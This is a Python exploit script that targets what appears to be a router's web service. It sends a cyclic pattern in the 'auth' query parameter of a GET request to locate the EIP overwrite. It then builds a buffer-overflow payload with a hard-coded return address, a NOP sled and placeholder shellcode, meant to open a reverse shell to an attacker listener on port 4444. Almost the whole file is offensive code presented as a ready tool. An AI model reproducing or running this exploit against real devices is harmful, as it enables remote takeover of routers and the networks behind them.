import socket
import struct
import time
from pwn import cyclic, cyclic_find

TARGET_IP = "192.168.0.1"
TARGET_PORT = 80
ATTACKER_IP = "192.168.0.100"
ATTACKER_PORT = 4444

BUFFER_SIZE = 8000
OFFSET = None  # Will be updated after crash analysis
MODE = "overflow"  # Change to "rce" for full exploit

def find_offset():
    """Sends a cyclic pattern to identify EIP overwrite location."""
    payload = cyclic(BUFFER_SIZE)  
    http_request = f"GET /storage?auth={payload} HTTP/1.1\r\n"
    http_request += f"Host: {TARGET_IP}\r\n"
    http_request += "User-Agent: CrashTest\r\n"
    http_request += "Connection: close\r\n\r\n"

    try:
        print("[+] Sending cyclic pattern to find offset...")
        s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
        s.connect((TARGET_IP, TARGET_PORT))
        s.send(http_request.encode())
        s.close()
        print("[+] Payload sent! Check router logs or debugger for crash address.")
    except Exception as e:
        print(f"[-] Error sending payload: {e}")

def exploit_rce():
    """Full RCE exploit using buffer overflow and reverse shell payload."""
    global OFFSET
    if OFFSET is None:
        print("[-] Offset for EIP overwrite not set! Run overflow test first.")
        return

    shellcode = b"\xfa\xff\x0f\x24\x27\x78\xe0\x01\xfd\xff\xe4\x21..."  # Replace with real shellcode
    RET_ADDR = struct.pack("<I", 0x7fffeb40)  # Adjust based on testing

    payload = b"A" * OFFSET
    payload += RET_ADDR
    payload += b"\x90" * 32  # NOP sled
    payload += shellcode

    http_request = f"GET /storage?auth={payload} HTTP/1.1\r\n"
    http_request += f"Host: {TARGET_IP}\r\n"
    http_request += "User-Agent: Exploit\r\n"
    http_request += "Connection: close\r\n\r\n"

    try:
        print("[+] Sending RCE payload...")
        s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
        s.connect((TARGET_IP, TARGET_PORT))
        s.send(http_request.encode())
        s.close()
        print("[+] Exploit sent! Start your listener to catch the shell.")
    except Exception as e:
        print(f"[-] Exploit failed: {e}")

if __name__ == "__main__":
    if MODE == "overflow":
        find_offset()
    elif MODE == "rce":
        exploit_rce()
    else:
        print("[-] Invalid mode! Use 'overflow' or 'rce'.")